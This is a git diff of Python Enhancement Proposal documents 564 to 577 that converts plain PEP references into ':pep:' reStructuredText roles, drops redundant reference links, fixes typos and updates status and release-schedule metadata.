briefly diff --git a/pep-0564.rst b/pep-0564.rst index 2be6b8c68c3..447bd4e63b7 100644 --- a/pep-0564.rst +++ b/pep-0564.rst @@ -66,7 +66,7 @@ precision:: Previous rejected PEP --------------------- -Five years ago, the PEP 410 proposed a large and complex change in all +Five years ago, the :pep:`410` proposed a large and complex change in all Python functions returning time to support nanosecond resolution using the ``decimal.Decimal`` type. @@ -124,13 +124,13 @@ with nanosecond resolution. CPython enhancements of the last 5 years ---------------------------------------- -Since the PEP 410 was rejected: +Since the :pep:`410` was rejected: * The ``os.stat_result`` structure got 3 new fields for timestamps as nanoseconds (Python ``int``): ``st_atime_ns``, ``st_ctime_ns`` and ``st_mtime_ns``. -* The PEP 418 was accepted, Python 3.3 got 3 new clocks: +* The :pep:`418` was accepted, Python 3.3 got 3 new clocks: ``time.monotonic()``, ``time.perf_counter()`` and ``time.process_time()``. @@ -244,7 +244,7 @@ Modifying time.time() result type It was proposed to modify ``time.time()`` to return a different number type with better precision. -The PEP 410 proposed to return ``decimal.Decimal`` which already exists and +The :pep:`410` proposed to return ``decimal.Decimal`` which already exists and supports arbitrary precision, but it was rejected. Apart from ``decimal.Decimal``, no portable real number type with better precision is currently available in Python. @@ -264,7 +264,7 @@ Many ideas of new types were proposed to support larger or arbitrary precision: fractions, structures or 2-tuple using integers, fixed-point number, etc. -See also the PEP 410 for a previous long discussion on other types. +See also the :pep:`410` for a previous long discussion on other types. Adding a new type requires more effort to support it, than reusing the existing ``int`` type. The standard library, third party code and diff --git a/pep-0566.rst b/pep-0566.rst index fee303543bc..f84e040b77d 100644 --- a/pep-0566.rst +++ b/pep-0566.rst @@ -4,9 +4,10 @@ Version: $Revision$ Last-Modified: $Date$ Author: Dustin Ingram BDFL-Delegate: Daniel Holth -Discussions-To: distutils-sig +Discussions-To: distutils-sig@python.org Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 01-Dec-2017 Python-Version: 3.x @@ -79,7 +80,7 @@ Name :::: The specification for the format of this field is now identical to the -distribution name specification defined in PEP 508. +distribution name specification defined in :pep:`508`. Description ::::::::::: @@ -104,7 +105,7 @@ also be able to handle version specifiers in parentheses. Further, public index servers MAY prohibit strict version matching clauses or direct references in these fields. -Usage of version specifiers is otherwise unchanged from PEP 345. +Usage of version specifiers is otherwise unchanged from :pep:`345`. Environment markers =================== @@ -114,9 +115,9 @@ field after a semi-colon (";"), to add a condition about the execution environment. The environment marker format used to declare such a condition is defined in -the environment markers section of PEP 508. +the environment markers section of :pep:`508`. -Usage of environment markers is otherwise unchanged from PEP 345. +Usage of environment markers is otherwise unchanged from :pep:`345`. JSON-compatible Metadata ======================== @@ -148,7 +149,7 @@ Summary of Differences From PEP 345 * Added two new fields: ``Description-Content-Type`` and ``Provides-Extra`` -* Acceptable values for the ``Name`` field are now specified as per PEP 508. +* Acceptable values for the ``Name`` field are now specified as per :pep:`508`. * Added canonical method of transformation into JSON-compatible data structure. @@ -156,10 +157,10 @@ References ========== This document specifies version 2.1 of the metadata format. -Version 1.0 is specified in PEP 241. -Version 1.1 is specified in PEP 314. -Version 1.2 is specified in PEP 345. -Version 2.0, while not formally accepted, was specified in PEP 426. +Version 1.0 is specified in :pep:`241`. +Version 1.1 is specified in :pep:`314`. +Version 1.2 is specified in :pep:`345`. +Version 2.0, while not formally accepted, was specified in :pep:`426`. .. _`Core Metadata Specification`: https://packaging.python.org/specifications/core-metadata/ diff --git a/pep-0567.rst b/pep-0567.rst index 3dec79b2e53..4c65142933e 100644 --- a/pep-0567.rst +++ b/pep-0567.rst @@ -859,16 +859,16 @@ See also issue 32436 [4]_. Acceptance ========== -PEP 567 was accepted by Guido on Monday, January 22, 2018 [5]_. +:pep:`567` was accepted by Guido on Monday, January 22, 2018 [5]_. The reference implementation was merged on the same day. References ========== -.. [1] https://www.python.org/dev/peps/pep-0550/#appendix-hamt-performance-analysis +.. [1] :pep:`550#appendix-hamt-performance-analysis` -.. [2] https://www.python.org/dev/peps/pep-0550/#replication-of-threading-local-interface +.. [2] :pep:`550#replication-of-threading-local-interface` .. [3] https://github.com/python/cpython/pull/5027 diff --git a/pep-0568.rst b/pep-0568.rst index d7dc3b95153..7f288ae7d86 100644 --- a/pep-0568.rst +++ b/pep-0568.rst @@ -15,10 +15,10 @@ Abstract Context variables provide a generic mechanism for tracking dynamic, context-local state, similar to thread-local storage but generalized to cope work with other kinds of thread-like contexts, such as asyncio -Tasks. PEP 550 proposed a mechanism for context-local state that was +Tasks. :pep:`550` proposed a mechanism for context-local state that was also sensitive to generator context, but this was pretty complicated, -so the BDFL requested it be simplified. The result was PEP 567, which -is targeted for inclusion in 3.7. This PEP then extends PEP 567's +so the BDFL requested it be simplified. The result was :pep:`567`, which +is targeted for inclusion in 3.7. This PEP then extends :pep:`567`'s machinery to add generator context sensitivity. This PEP is starting out in the "deferred" status, because there isn't @@ -57,10 +57,10 @@ Specification Review of PEP 567 ----------------- -Let's start by reviewing how PEP 567 works, and then in the next +Let's start by reviewing how :pep:`567` works, and then in the next section we'll describe the differences. -In PEP 567, a ``Context`` is a ``Mapping`` from ``ContextVar`` objects +In :pep:`567`, a ``Context`` is a ``Mapping`` from ``ContextVar`` objects to arbitrary values. In our pseudo-code here we'll pretend that it uses a ``dict`` for backing storage. (The real implementation uses a HAMT, which is semantically equivalent to a ``dict`` but with @@ -301,7 +301,7 @@ That's all. Comparison to PEP 550 ===================== -The main difference from PEP 550 is that it reified what we're calling +The main difference from :pep:`550` is that it reified what we're calling "contexts" and "context stacks" as two different concrete types (``LocalContext`` and ``ExecutionContext`` respectively). This led to lots of confusion about what the differences were, and which object @@ -331,7 +331,7 @@ else an intrusive linked list (``PyThreadState`` → ``Context`` → ``Context`` → ...), with the "top" of the stack at the beginning of the list to allow efficient push/pop. -A critical optimization in PEP 567 is the caching of values inside +A critical optimization in :pep:`567` is the caching of values inside ``ContextVar``. Switching from a single context to a context stack makes this a little bit more complicated, but not too much. Currently, we invalidate the cache whenever the threadstate's current ``Context`` diff --git a/pep-0569.rst b/pep-0569.rst index 07ff4cd3d5f..e389c6de917 100644 --- a/pep-0569.rst +++ b/pep-0569.rst @@ -65,8 +65,6 @@ Release Schedule Bugfix releases --------------- -Actual: - - 3.8.1rc1: Tuesday, 2019-12-10 - 3.8.1: Wednesday, 2019-12-18 - 3.8.2rc1: Monday, 2020-02-10 @@ -83,12 +81,18 @@ Actual: - 3.8.7: Monday, 2020-12-21 - 3.8.8rc1: Tuesday, 2021-02-16 - 3.8.8: Friday, 2021-02-19 +- 3.8.9: Friday, 2021-04-02 (security hotfix) +- 3.8.10: Monday, 2021-05-03 (final regular bugfix release with binary + installers) -Final regular bugfix release with binary installers: +Source-only security fix releases +--------------------------------- -- 3.8.9: Monday, 2021-05-03 +Provided irregularly on an "as-needed" basis until October 2024. -Source-only security fix releases after that until October 2024. +- 3.8.11: Monday, 2021-06-28 +- 3.8.12: Monday, 2021-08-30 +- 3.8.13: Wednesday, 2022-03-16 Features for 3.8 @@ -96,14 +100,14 @@ Features for 3.8 Some of the notable features of Python 3.8 include: -* PEP 570, Positional-only arguments -* PEP 572, Assignment Expressions -* PEP 574, Pickle protocol 5 with out-of-band data -* PEP 578, Runtime audit hooks -* PEP 587, Python Initialization Configuration -* PEP 590, Vectorcall: a fast calling protocol for CPython -* Typing-related: PEP 591 (Final qualifier), PEP 586 (Literal types), - and PEP 589 (TypedDict) +* :pep:`570`, Positional-only arguments +* :pep:`572`, Assignment Expressions +* :pep:`574`, Pickle protocol 5 with out-of-band data +* :pep:`578`, Runtime audit hooks +* :pep:`587`, Python Initialization Configuration +* :pep:`590`, Vectorcall: a fast calling protocol for CPython +* Typing-related: :pep:`591` (Final qualifier), :pep:`586` (Literal types), + and :pep:`589` (TypedDict) * Parallel filesystem cache for compiled bytecode * Debug builds share ABI as release builds * f-strings support a handy ``=`` specifier for debugging diff --git a/pep-0570.rst b/pep-0570.rst index 7beb389e5c2..f3a437d6bef 100644 --- a/pep-0570.rst +++ b/pep-0570.rst @@ -8,7 +8,7 @@ Author: Larry Hastings , Eric N. Vander Weele BDFL-Delegate: Guido van Rossum Discussions-To: https://discuss.python.org/t/pep-570-python-positional-only-parameters/1078 -Status: Accepted +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 20-Jan-2018 @@ -264,7 +264,7 @@ the positional syntax would improve consistency. The ``/`` syntax is already exp in the existing documentation such as when builtins and interfaces are generated by the argument clinic. -Another essential aspect to consider is PEP 399, which mandates that +Another essential aspect to consider is :pep:`399`, which mandates that pure Python versions of modules in the standard library *must* have the same interface and semantics that the accelerator modules implemented in C. For example, if ``collections.defaultdict`` were to have a pure Python @@ -282,7 +282,7 @@ The new syntax will enable library authors to further control how their API can be called. It will allow designating which parameters must be called as positional-only, while preventing them from being called as keyword arguments. -Previously, (informational) PEP 457 defined the syntax, but with a much more vague +Previously, (informational) :pep:`457` defined the syntax, but with a much more vague scope. This PEP takes the original proposal a step further by justifying the syntax and providing an implementation for the ``/`` syntax in function definitions. @@ -349,7 +349,7 @@ intended order:: Compatibility for Pure Python and C Modules ------------------------------------------- -Another critical motivation for positional-only parameters is PEP 399: +Another critical motivation for positional-only parameters is :pep:`399`: Pure Python/C Accelerator Module Compatibility Requirements. This PEP states that: @@ -373,7 +373,7 @@ other Python implementations. For example:: 2918445923 Other Python implementations can reproduce the CPython APIs manually, but this -goes against the spirit of PEP 399 to avoid duplication of effort by +goes against the spirit of :pep:`399` to avoid duplication of effort by mandating that all modules added to Python's standard library **must** have a pure Python implementation with the same interface and semantics. @@ -655,7 +655,7 @@ passed by position or keyword:: >>> standard_arg(arg=2) 2 -The second function ``pos_only_arg` is restricted to only use positional +The second function ``pos_only_arg`` is restricted to only use positional parameters as there is a ``/`` in the function definition:: >>> pos_only_arg(1) @@ -824,7 +824,7 @@ unpacked automatically. An example is:: def fxn(a, (b, c), d): pass -Tuple argument unpacking was removed in Python 3 (PEP 3113). There has been a +Tuple argument unpacking was removed in Python 3 (:pep:`3113`). There has been a proposition to reuse this syntax to implement positional-only parameters. We have rejected this syntax for indicating positional only parameters for several reasons: @@ -861,7 +861,7 @@ Thanks ====== Credit for some of the content of this PEP is contained in Larry Hastings’s -PEP 457. +:pep:`457`. Credit for the use of ``/`` as the separator between positional-only and positional-or-keyword parameters go to Guido van Rossum, in a proposal from @@ -900,9 +900,6 @@ Braulio Valdivieso. and https://mail.python.org/pipermail/python-ideas/2012-March/014417.html -.. [#PEP399] - https://www.python.org/dev/peps/pep-0399/ - .. [#python-ideas-decorator-based] https://mail.python.org/pipermail/python-ideas/2017-February/044888.html diff --git a/pep-0571.rst b/pep-0571.rst index 96aa27d251c..e112292f161 100644 --- a/pep-0571.rst +++ b/pep-0571.rst @@ -6,12 +6,14 @@ Author: Mark Williams , Geoffrey Thomas , Thomas Kluyver BDFL-Delegate: Nick Coghlan -Discussions-To: Distutils SIG -Status: Active +Discussions-To: distutils-sig@python.org +Status: Superseded Type: Informational +Topic: Packaging Content-Type: text/x-rst Created: 05-Feb-2018 Post-History: +Superseded-By: 600 Resolution: https://mail.python.org/pipermail/distutils-sig/2018-April/032156.html @@ -19,7 +21,7 @@ Abstract ======== This PEP proposes the creation of a ``manylinux2010`` platform tag to -succeed the ``manylinux1`` tag introduced by PEP 513 [1]_. It also +succeed the ``manylinux1`` tag introduced by :pep:`513`. It also proposes that PyPI and ``pip`` both be updated to support uploading, downloading, and installing ``manylinux2010`` distributions on compatible platforms. @@ -43,7 +45,7 @@ built against version 2.5 or earlier; they may then be run systems that provide more recent ``glibc`` version that still export the required symbols at version 2.5. -PEP 513 drew its whitelisted shared libraries and their symbol +:pep:`513` drew its whitelisted shared libraries and their symbol versions from CentOS 5.11, which was the oldest supported CentOS release at the time of its writing. Unfortunately, CentOS 5.11 reached its end-of-life on March 31st, 2017 with a clear warning @@ -54,7 +56,7 @@ packagers who use the ``manylinux1`` Docker image. CentOS 6 is now the oldest supported CentOS release, and will receive maintenance updates through November 30th, 2020. [5]_ We propose that -a new PEP 425-style [6]_ platform tag called ``manylinux2010`` be derived +a new :pep:`425`-style platform tag called ``manylinux2010`` be derived from CentOS 6 and that the ``manylinux`` toolchain, PyPI, and ``pip`` be updated to support it. @@ -108,7 +110,7 @@ the ``manylinux2010`` tag: This list is identical to the externally-provided libraries whitelisted for ``manylinux1``, minus ``libncursesw.so.5`` and ``libpanelw.so.5``. [7]_ ``libpythonX.Y`` remains ineligible for - inclusion for the same reasons outlined in PEP 513. + inclusion for the same reasons outlined in :pep:`513`. ``libcrypt.so.1`` was retrospectively removed from the whitelist after Fedora 30 was released with ``libcrypt.so.2`` instead. @@ -166,7 +168,7 @@ the ``manylinux2010`` tag: against Python 2, then, must include either the ``cpy27mu`` tag indicating it was built against an interpreter with the UCS-4 ABI or the ``cpy27m`` tag indicating an interpreter with the UCS-2 - ABI. [8]_ [9]_ + ABI. (:pep:`3149`, [9]_) 5. A wheel *must not* require the ``PyFPE_jbuf`` symbol. This is achieved by building it against a Python compiled *without* the ``--with-fpectl`` ``configure`` flag. @@ -256,14 +258,14 @@ Auditwheel The ``auditwheel`` tool has also been updated to produce ``manylinux2010`` wheels. [21]_ Its behavior and purpose are otherwise -unchanged from PEP 513. +unchanged from :pep:`513`. Platform Detection for Installers ================================= Platforms may define a ``manylinux2010_compatible`` boolean attribute on -the ``_manylinux`` module described in PEP 513. A platform is +the ``_manylinux`` module described in :pep:`513`. A platform is considered incompatible with ``manylinux2010`` if the attribute is ``False``. @@ -296,7 +298,7 @@ Specifically, the algorithm we propose is:: Backwards compatibility with ``manylinux1`` wheels ================================================== -As explained in PEP 513, the specified symbol versions for +As explained in :pep:`513`, the specified symbol versions for ``manylinux1`` whitelisted libraries constitute an *upper bound*. The same is true for the symbol versions defined for ``manylinux2010`` in this PEP. As a result, ``manylinux1`` wheels are considered @@ -313,8 +315,8 @@ to be uploaded in the same way that it permits ``manylinux1``. It should not attempt to verify the compatibility of ``manylinux2010`` wheels. -Summary of changes to \PEP 571 -============================== +Summary of changes to PEP 571 +============================= The following changes were made to this PEP based on feedback received after it was approved: @@ -327,8 +329,6 @@ it was approved: References ========== -.. [1] PEP 513 -- A Platform Tag for Portable Linux Built Distributions - (https://www.python.org/dev/peps/pep-0513/) .. [2] pyca/cryptography (https://cryptography.io/) .. [3] numpy @@ -337,13 +337,9 @@ References (https://lists.centos.org/pipermail/centos-announce/2017-April/022350.html) .. [5] CentOS Product Specifications (https://web.archive.org/web/20180108090257/https://wiki.centos.org/About/Product) -.. [6] PEP 425 -- Compatibility Tags for Built Distributions - (https://www.python.org/dev/peps/pep-0425/) .. [7] ncurses 5 -> 6 transition means we probably need to drop some libraries from the manylinux whitelist (https://github.com/pypa/manylinux/issues/94) -.. [8] PEP 3149 - https://www.python.org/dev/peps/pep-3149/ .. [9] SOABI support for Python 2.X and PyPy https://github.com/pypa/pip/pull/3075 .. [10] manylinux2010 Docker image diff --git a/pep-0572.rst b/pep-0572.rst index aaba4f6374a..8a6dbb380d2 100644 --- a/pep-0572.rst +++ b/pep-0572.rst @@ -1,7 +1,7 @@ PEP: 572 Title: Assignment Expressions Author: Chris Angelico , Tim Peters , - Guido van Rossum + Guido van Rossum Status: Accepted Type: Standards Track Content-Type: text/x-rst @@ -388,7 +388,7 @@ may miss the distinction. But simple cases are not objectionable:: print("Extremely long line:", longline) This PEP recommends always putting spaces around ``:=``, similar to -PEP 8's recommendation for ``=`` when used for assignment, whereas the +:pep:`8`'s recommendation for ``=`` when used for assignment, whereas the latter disallows spaces around ``=`` used for keyword arguments.) Change to evaluation order @@ -765,7 +765,7 @@ Broadly the same semantics as the current proposal, but spelled differently. Execution order is inverted (the indented body is performed first, followed by the "header"). This requires a new keyword, unless an existing keyword - is repurposed (most likely ``with:``). See PEP 3150 for prior discussion + is repurposed (most likely ``with:``). See :pep:`3150` for prior discussion on this subject (with the proposed keyword being ``given:``). 5. ``TARGET from EXPR``:: @@ -898,7 +898,7 @@ The less confusing option is to make ``:=`` bind more tightly than comma. Always requiring parentheses ---------------------------- -It's been proposed to just always require parenthesize around an +It's been proposed to just always require parentheses around an assignment expression. This would resolve many ambiguities, and indeed parentheses will frequently be needed to extract the desired subexpression. But in the following cases the extra parentheses feel @@ -955,7 +955,7 @@ Style guide recommendations As expression assignments can sometimes be used equivalently to statement assignments, the question of which should be preferred will arise. For the -benefit of style guides such as PEP 8, two recommendations are suggested. +benefit of style guides such as :pep:`8`, two recommendations are suggested. 1. If either assignment statements or assignment expressions can be used, prefer statements; they are a clear declaration of intent. diff --git a/pep-0573.rst b/pep-0573.rst index 20d5fb6e1c3..740965de0a6 100644 --- a/pep-0573.rst +++ b/pep-0573.rst @@ -4,7 +4,7 @@ Version: $Revision$ Last-Modified: $Date$ Author: Petr Viktorin , Nick Coghlan , - Eric Snow + Eric Snow , Marcel Plch BDFL-Delegate: Stefan Behnel Discussions-To: import-sig@python.org @@ -27,12 +27,12 @@ rather than PyState_FindModule for looking up module state, reducing or eliminating the performance cost of using module-scoped state over process global state. -This fixes one of the remaining roadblocks for adoption of PEP 3121 (Extension -module initialization and finalization) and PEP 489 +This fixes one of the remaining roadblocks for adoption of :pep:`3121` (Extension +module initialization and finalization) and :pep:`489` (Multi-phase extension module initialization). While this PEP takes an additional step towards fully solving the problems that -PEP 3121 and PEP 489 started tackling, it does not attempt to resolve *all* +:pep:`3121` and :pep:`489` started tackling, it does not attempt to resolve *all* remaining concerns. In particular, access to the module state from slot methods (``nb_add``, etc) is not solved. @@ -101,7 +101,7 @@ CPython implements the C-API, but other implementations exist. Rationale ========= -PEP 489 introduced a new way to initialize extension modules, which brings +:pep:`489` introduced a new way to initialize extension modules, which brings several advantages to extensions that implement it: * The extension modules behave more like their Python counterparts. @@ -112,7 +112,7 @@ several advantages to extensions that implement it: makes it possible to test module isolation (a key feature for proper sub-interpreter support) from a single interpreter. -The biggest hurdle for adoption of PEP 489 is allowing access to module state +The biggest hurdle for adoption of :pep:`489` is allowing access to module state from methods of extension types. Currently, the way to access this state from extension methods is by looking up the module via ``PyState_FindModule`` (in contrast to module level functions in @@ -124,7 +124,7 @@ deterring module authors from using it. Also, ``PyState_FindModule`` relies on the assumption that in each subinterpreter, there is at most one module corresponding to a given ``PyModuleDef``. This assumption does not hold for modules that use -PEP 489's multi-phase initialization, so ``PyState_FindModule`` is unavailable +:pep:`489`'s multi-phase initialization, so ``PyState_FindModule`` is unavailable for these modules. A faster, safer way of accessing module-level state from extension methods @@ -182,7 +182,7 @@ their shared state in C-level process globals, causing problems when: * reloading modules (e.g. to test conditional imports) * loading extension modules in subinterpreters -PEP 3121 attempted to resolve this by offering the ``PyState_FindModule`` API, +:pep:`3121` attempted to resolve this by offering the ``PyState_FindModule`` API, but this still has significant problems when it comes to extension methods (rather than module level functions): @@ -435,7 +435,7 @@ Solving this problem is left to future discussions. Easy creation of types with module references --------------------------------------------- -It would be possible to add a PEP 489 execution slot type to make +It would be possible to add a :pep:`489` execution slot type to make creating heap types significantly easier than calling ``PyType_FromModuleAndSpec``. This is left to a future PEP. @@ -470,9 +470,6 @@ References .. [#gh-patch] https://github.com/Dormouse759/cpython/compare/master...Dormouse759:pep-c-rebase_newer -.. [#pep-590] - https://www.python.org/dev/peps/pep-0590/ - Copyright ========= diff --git a/pep-0574.rst b/pep-0574.rst index d665e5f0cf1..891ca3fb32a 100644 --- a/pep-0574.rst +++ b/pep-0574.rst @@ -185,7 +185,7 @@ PickleBuffer objects -------------------- The ``PickleBuffer`` class supports a very simple Python API. Its constructor -takes a single PEP 3118-compatible object [#pep-3118]_. ``PickleBuffer`` +takes a single :pep:`3118`-compatible object. ``PickleBuffer`` objects themselves support the buffer protocol, so consumers can call ``memoryview(...)`` on them to get additional information about the underlying buffer (such as the original type, shape, etc.). @@ -207,7 +207,7 @@ PickleBuffer objects: ``PyObject *PyPickleBuffer_FromObject(PyObject *obj)`` - Create a ``PickleBuffer`` object holding a view over the PEP 3118-compatible + Create a ``PickleBuffer`` object holding a view over the :pep:`3118`-compatible *obj*. ``PyPickleBuffer_Check(PyObject *obj)`` @@ -229,7 +229,7 @@ Buffer requirements ``PickleBuffer`` can wrap any kind of buffer, including non-contiguous buffers. However, it is required that ``__reduce__`` only returns a -contiguous ``PickleBuffer`` (*contiguity* here is meant in the PEP 3118 +contiguous ``PickleBuffer`` (*contiguity* here is meant in the :pep:`3118` sense: either C-ordered or Fortran-ordered). Non-contiguous buffers will raise an error when pickled. @@ -347,7 +347,7 @@ Caveats Mutability ---------- -PEP 3118 buffers [#pep-3118]_ can be readonly or writable. Some objects, +:pep:`3118` buffers can be readonly or writable. Some objects, such as Numpy arrays, need to be backed by a mutable buffer for full operation. Pickle consumers that use the ``buffer_callback`` and ``buffers`` arguments will have to be careful to recreate mutable buffers. When doing @@ -504,9 +504,9 @@ to pickle [#dask-serialization]_. PyArrow implements zero-copy component-based serialization for a few selected types [#pyarrow-serialization]_. -PEP 554 proposes hosting multiple interpreters in a single process, with +:pep:`554` proposes hosting multiple interpreters in a single process, with provisions for transferring buffers between interpreters as a communication -scheme [#pep-554]_. +scheme. Acknowledgements @@ -538,12 +538,6 @@ References .. [#pyarrow-serialization] PyArrow IPC and component-based serialization https://arrow.apache.org/docs/python/ipc.html#component-based-serialization -.. [#pep-3118] PEP 3118 -- Revising the buffer protocol - https://www.python.org/dev/peps/pep-3118/ - -.. [#pep-554] PEP 554 -- Multiple Interpreters in the Stdlib - https://www.python.org/dev/peps/pep-0554/ - .. [#pickle5-git] ``pickle5`` branch on GitHub https://github.com/pitrou/cpython/tree/pickle5 diff --git a/pep-0575.rst b/pep-0575.rst index 474d3e9f3d9..35218ea47bf 100644 --- a/pep-0575.rst +++ b/pep-0575.rst @@ -6,15 +6,15 @@ Type: Standards Track Content-Type: text/x-rst Created: 27-Mar-2018 Python-Version: 3.8 -Post-History: 31-Mar-2018, 12-Apr-2018, 27-Apr-2018, 5-May-2018 +Post-History: 31-Mar-2018, 12-Apr-2018, 27-Apr-2018, 05-May-2018 Withdrawal notice ================= -See PEP 580 for a better solution to allowing fast calling of custom classes. +See :pep:`580` for a better solution to allowing fast calling of custom classes. -See PEP 579 for a broader discussion of some of the other issues from this PEP. +See :pep:`579` for a broader discussion of some of the other issues from this PEP. Abstract @@ -67,7 +67,7 @@ subclasses are also allowed for functions implemented in C. In the latter case, this can be done with the same performance as true built-in functions. All functions can access the function object -(the ``self`` in ``__call__``), paving the way for PEP 573. +(the ``self`` in ``__call__``), paving the way for :pep:`573`. New classes @@ -121,7 +121,7 @@ but with the following differences and new features: This is meant to be backwards compatible with ``method_descriptor``. #. The field ``ml_doc`` and the attributes ``__doc__`` and - ``__text_signature__`` (see Argument Clinic [#clinic]_) + ``__text_signature__`` (see :pep:`Argument Clinic <436>`) are not supported. #. A new flag ``METH_PASS_FUNCTION`` for ``ml_flags``. @@ -203,11 +203,11 @@ The class ``cfunction`` is a copy of ``base_function``, with the following diffe const char *ml_doc; } PyMethodDef; - Note that ``PyMethodDef`` is part of the Python Stable ABI [#ABI]_ + Note that ``PyMethodDef`` is part of the :pep:`Python Stable ABI <384>` and it is used by practically all extension modules, so we absolutely cannot change this structure. -#. Argument Clinic [#clinic]_ is supported. +#. :pep:`Argument Clinic <436>` is supported. #. ``__self__`` always exists. In the cases where ``base_function.__self__`` would raise ``AttributeError``, instead ``None`` is returned. @@ -551,7 +551,7 @@ Some of these are existing (possibly changed) functions, some are new: if the type of ``op`` is ``function``. - ``PyObject *PyFunction_NewPython(PyTypeObject *cls, PyObject *code, PyObject *globals, PyObject *name, PyObject *qualname)``: - create a new instance of ``cls`` (which must be a sublass of ``function``) + create a new instance of ``cls`` (which must be a subclass of ``function``) from the given data. - ``PyObject *PyFunction_New(PyObject *code, PyObject *globals)``: @@ -561,7 +561,7 @@ Some of these are existing (possibly changed) functions, some are new: create a new instance of ``function``. - ``PyObject *PyFunction_Copy(PyTypeObject *cls, PyObject *func)``: - create a new instance of ``cls`` (which must be a sublass of ``function``) + create a new instance of ``cls`` (which must be a subclass of ``function``) by copying a given ``function``. Changes to the types module @@ -792,7 +792,7 @@ to use the ``base_function`` implementation instead. It also makes sense to use ``METH_PASS_FUNCTION`` without ``METH_CALL_UNBOUND`` in cases where the C function simply needs access to additional metadata from the function, such as the ``__parent__``. -This is for example needed to support PEP 573. +This is for example needed to support :pep:`573`. Converting existing methods to use ``METH_PASS_FUNCTION`` is trivial: it only requires adding an extra argument to the C function. @@ -1097,10 +1097,6 @@ References .. [#bpo33265] Python bug 33265, contextlib.ExitStack abuses __self__ (https://bugs.python.org/issue33265 and https://github.com/python/cpython/pull/6456) -.. [#ABI] PEP 384, Defining a Stable ABI, Löwis (https://www.python.org/dev/peps/pep-0384) - -.. [#clinic] PEP 436, The Argument Clinic DSL, Hastings (https://www.python.org/dev/peps/pep-0436) - .. [#methoddoc] PyMethodDef documentation (https://docs.python.org/3.7/c-api/structures.html#c.PyMethodDef) .. [#proposal] PEP proposal: unifying function/method classes (https://mail.python.org/pipermail/python-ideas/2018-March/049398.html) diff --git a/pep-0576.rst b/pep-0576.rst index bd0f4c95fc3..6ea831506fc 100644 --- a/pep-0576.rst +++ b/pep-0576.rst @@ -7,10 +7,10 @@ Type: Standards Track Content-Type: text/x-rst Created: 10-May-2018 Python-Version: 3.8 -Post-History: 17-May-2018 - 23-June-2018 - 08-July-2018 - 29-Mar-1028 +Post-History: 17-May-2018, + 23-Jun-2018, + 08-Jul-2018, + 29-Mar-2019 Abstract ======== @@ -136,7 +136,7 @@ Adding a function pointer to each callable, rather than each class of callable, Alternative Suggestions ======================= -PEP 580 is an alternative approach to solving the same problem as this PEP. +:pep:`580` is an alternative approach to solving the same problem as this PEP. diff --git a/pep-0577.rst b/pep-0577.rst index b605c76f710..13e2568a29a 100644 --- a/pep-0577.rst +++ b/pep-0577.rst @@ -13,13 +13,13 @@ PEP Withdrawal ============== While working on this PEP, I realised that it didn't really address what was -actually bothering me about PEP 572's proposed scoping rules for previously +actually bothering me about :pep:`572`'s proposed scoping rules for previously unreferenced assignment targets, and also had some significant undesirable -consequences (most notably, allowing ``>>=` and ``<<=`` as inline augmented +consequences (most notably, allowing ``>>=`` and ``<<=`` as inline augmented assignment operators that meant something entirely different from the ``>=`` and ``<=`` comparison operators). -I also realised that even without dedicated syntax of their own, PEP 572 +I also realised that even without dedicated syntax of their own, :pep:`572` technically allows inline augmented assignments to be written using the ``operator`` module:: @@ -39,7 +39,7 @@ the time I also started writing a replacement PEP that focused specifically on the handling of assignment targets which hadn't already been declared as local variables in the current scope (for both regular block scopes, and for scoped expressions), but that draft never even reached a stage where *I* liked it -better than the ultimately accepted proposal in PEP 572, so it was never +better than the ultimately accepted proposal in :pep:`572`, so it was never posted anywhere, nor assigned a PEP number. @@ -56,7 +56,7 @@ statements do. The question of allowing expression level local variable declarations at function scope is deliberately separated from the question of allowing expression level name bindings, and deferred to a later PEP. -This PEP is a direct competitor to PEP 572 (although it borrows heavily from that +This PEP is a direct competitor to :pep:`572` (although it borrows heavily from that PEP's motivation, and even shares the proposed syntax for inline assignments). See `Relationship with PEP 572`_ for more details on the connections between the two PEPs. @@ -145,7 +145,7 @@ used today (in combination with ``operator.itemsetter``) to work around the lack of expression level assignments. Rather than requiring such workarounds, this PEP instead proposes that -PEP 572's "NAME := EXPR" syntax be adopted as a new inline assignment +:pep:`572`'s "NAME := EXPR" syntax be adopted as a new inline assignment expression that uses the augmented assignment scoping rules described below. This cleanly handles cases where only the new value is of interest, and the @@ -169,12 +169,12 @@ that when used as a top level expression the entire right hand side of the expression is still interpreted as the value to be processed (even when that value is a tuple without parentheses). -The difference this introduces relative to PEP 572 is that where -``(n := first, second)`` sets ``n = first`` in PEP 572, in this PEP it would set -``n = (first, second)`, and getting the first meaning would require an extra +The difference this introduces relative to :pep:`572` is that where +``(n := first, second)`` sets ``n = first`` in :pep:`572`, in this PEP it would set +``n = (first, second)``, and getting the first meaning would require an extra set of parentheses (``((n := first), second)``). -PEP 572 quite reasonably notes that this results in ambiguity when assignment +:pep:`572` quite reasonably notes that this results in ambiguity when assignment expressions are used as function call arguments. This PEP resolves that concern a different way by requiring that assignment expressions be parenthesised when used as arguments to a function call (unless they're the sole argument). @@ -368,7 +368,7 @@ Design discussion Allowing complex assignment targets ----------------------------------- -The initial drafts of this PEP kept PEP 572's restriction to single name targets +The initial drafts of this PEP kept :pep:`572`'s restriction to single name targets when augmented assignments were used as expressions, allowing attribute and subscript targets solely for the statement form. @@ -385,7 +385,7 @@ that also gained support for assignment and subscript targets. Augmented assignment or name binding only? ------------------------------------------ -PEP 572 makes a reasonable case that the potential use cases for inline +:pep:`572` makes a reasonable case that the potential use cases for inline augmented assignment are notably weaker than those for inline assignment in general, so it's acceptable to require that they be spelled as ``x := x + 1``, bypassing any in-place augmented assignment methods. @@ -442,7 +442,7 @@ currently executing module and modifying its attributes). For class scopes, the answer to both questions is also "Yes" in practice, although less unequivocally so, since the semantics of ``locals()`` are currently formally unspecified. However, if the current behaviour of ``locals()`` -at class scope is taken as normative (as PEP 558 proposes), then this is +at class scope is taken as normative (as :pep:`558` proposes), then this is essentially the same scenario as manipulating the module globals, just using ``locals()`` instead. @@ -489,7 +489,7 @@ level bindings are sufficient. Ignoring scoped expressions when determining augmented assignment targets ------------------------------------------------------------------------- -When discussing possible binding semantics for PEP 572's assignment expressions, +When discussing possible binding semantics for :pep:`572`'s assignment expressions, Tim Peters made a plausible case [1_,2_,3_] for assignment expressions targeting the containing block scope, essentially ignoring any intervening scoped expressions. @@ -531,12 +531,12 @@ to detect it), so there's also no need to tinker with that. Treating inline assignment as an augmented assignment variant ------------------------------------------------------------- -One of the challenges with 